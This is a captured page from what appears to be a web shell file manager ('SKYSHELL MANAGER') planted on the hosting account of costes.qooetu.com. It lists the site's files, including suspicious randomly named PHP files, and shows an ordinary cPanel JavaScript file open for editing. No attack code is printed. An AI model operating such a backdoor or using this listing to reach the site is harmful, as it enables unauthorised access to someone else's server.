📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: processingIconDirective.js
/* ** app/directives/processingIconDirective.js ** Copyright(c) 2020 cPanel, L.L.C. ** All rights reserved. ** copyright@cpanel.net http://cpanel.net ** This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ "angular", "cjt/core", "cjt/util/locale", "cjt/templates" // NOTE: Pre-load the template cache ], function(angular, CJT, LOCALE) { var module = angular.module("cjt2.directives.processingIcon", [ "cjt2.templates" ]); var states = { default: 0, run: 1, done: 2, error: 3, unknown: 4 }; var validStates = [ states.default, states.run, states.done, states.error, states.unknown ]; module.constant("processingIconStates", states); var state_lookup = [ "default", "run", "done", "error", "unknown" ]; /** * Directive that shows a processing icon in the correct state. * * @property {String} [defaultTitle] Override title for the default state. * @property {String} [doneTitle] Override title for the done state. * @property {String} [errorTitle] Override title for the error state. * @property {String} [runTitle] Override title for the run state. * @property {String} [unknownTitle] Override title for the unknown state. * @property {Model} [ngModel] Model controlling which state the processing * icon is in. It can be one of the following: * 0 - default state * 1 - running state * 2 - done state * 3 - error state * 4 - unknown state * @example * * Example of a single processing icon: * * <span cp-processing-icon ng-model="state"></span> * * @example * * Example of multiple processing icon with descriptions: * * var tasks = [ * { name: "Task 1", state: processingIconStates.run }, * { name: "Task 2", state: processingIconStates.default }, * { name: "Task 3", state: processingIconStates.done }, * ]; * * <div> * <span cp-processing-icon ng-model="task[0].state"></span> * <span>Performing {{tasks[0].name}}</span> * </div> * <div> * <span cp-processing-icon ng-model="task[1].state"></span> * <span>Performing {{tasks[1].name}}</span> * </div> * <div> * <span cp-processing-icon ng-model="task[2].state"></span> * <span>Performing {{tasks[2].name}}</span> * </div> */ module.directive("cpProcessingIcon", ["processingIconStates", function(processingIconStates) { var RELATIVE_PATH = "libraries/cjt2/directives/processingIcon.phtml"; var TITLES = { default: "", run: LOCALE.maketext("Running"), done: LOCALE.maketext("Done"), error: LOCALE.maketext("Error"), unknown: LOCALE.maketext("Unknown"), }; return { restrict: "A", templateUrl: CJT.config.debug ? CJT.buildFullPath(RELATIVE_PATH) : RELATIVE_PATH, replace: true, require: "ngModel", scope: { defaultTitle: "@", runTitle: "@", doneTitle: "@", errorTitle: "@", unknownTitle: "@" }, compile: function(element, attrs) { // Initialize any labels not provided angular.forEach(TITLES, function(value, key) { var attrName = key + "Title"; if (!angular.isDefined(attrs[attrName])) { attrs[attrName] = value; } }); return function(scope, element, attrs, ngModelCtrl) { /** * Lookup the title for the state on the scope. * @param {Number} state Numeric representation of the state. * @return {String} Title for the state icon. */ var lookupTitle = function(state) { var stateName = state_lookup[state]; var attrName = stateName + "Title"; return scope[attrName] || scope.defaultTitle; }; scope.title = lookupTitle(ngModelCtrl.$modelValue || processingIconStates.default); scope.state = ngModelCtrl.$modelValue || processingIconStates.default; ngModelCtrl.$validators = function(modelValue, viewValue) { // verify its one of the allowed values. var value = modelValue || viewValue; return validStates.indexOf(value) !== -1; }; ngModelCtrl.$render = function() { var state = ngModelCtrl.$viewValue; scope.state = state; scope.title = lookupTitle(state); }; }; } }; } ]); } );
Save